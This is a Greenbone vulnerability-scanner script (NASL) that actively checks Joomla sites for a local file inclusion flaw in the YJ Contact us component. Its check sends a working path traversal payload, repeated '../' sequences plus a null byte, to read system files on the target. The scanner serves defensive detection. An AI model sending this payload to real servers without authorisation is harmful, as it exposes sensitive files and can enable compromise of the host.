Joomla YJ Contact us Component LFI Vulnerability (Nov 2011) - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103315");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-10-26 13:58:20 +0200 (Wed, 26 Oct 2011)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Joomla YJ Contact us Component LFI Vulnerability (Nov 2011) - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50362");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"summary", value:"YJ Contact us component for Joomla! is prone to a local file
  include (LFI) vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the computer, other
  attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {

  url = dir + "/index.php?option=com_yjcontactus&view=" + crap(data:"../", length:6*9) + files[file] + "%00";

  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);